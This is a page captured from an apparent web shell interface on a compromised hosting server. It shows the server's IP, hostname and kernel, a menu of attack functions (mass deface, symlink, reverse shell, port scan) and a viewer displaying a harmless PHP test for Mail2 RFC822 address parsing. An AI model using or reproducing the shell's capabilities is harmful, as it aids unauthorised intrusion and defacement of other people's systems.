ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
Mail2
/
tests
/
Viewing: validateQuotedString.phpt
--TEST-- Mail2: Bug Validate quoted string --FILE-- <?php require_once 'Mail2/RFC822.php'; $address_string = '"Joe Doe \(from Somewhere\)" <doe@example.com>, postmaster@example.com, root'; // $address_string = "Joe Doe from Somewhere <doe@example.com>, postmaster@example.com, root"; echo $address_string . "\n"; $rfc = new Mail2_RFC822(); $address_array = $rfc->parseAddressList($address_string, "example.com"); if (!is_array($address_array) || count($address_array) < 1) { die("something is wrong\n"); } foreach ($address_array as $val) { echo "mailbox : " . $val->mailbox . "\n"; echo "host : " . $val->host . "\n"; echo "personal: " . $val->personal . "\n"; } print_r($address_array); --EXPECT-- "Joe Doe \(from Somewhere\)" <doe@example.com>, postmaster@example.com, root mailbox : doe host : example.com personal: "Joe Doe \(from Somewhere\)" mailbox : postmaster host : example.com personal: mailbox : root host : example.com personal: Array ( [0] => stdClass Object ( [personal] => "Joe Doe \(from Somewhere\)" [comment] => Array ( ) [mailbox] => doe [host] => example.com ) [1] => stdClass Object ( [personal] => [comment] => Array ( ) [mailbox] => postmaster [host] => example.com ) [2] => stdClass Object ( [personal] => [comment] => Array ( ) [mailbox] => root [host] => example.com ) )
Coded With 💗 by
0x6ick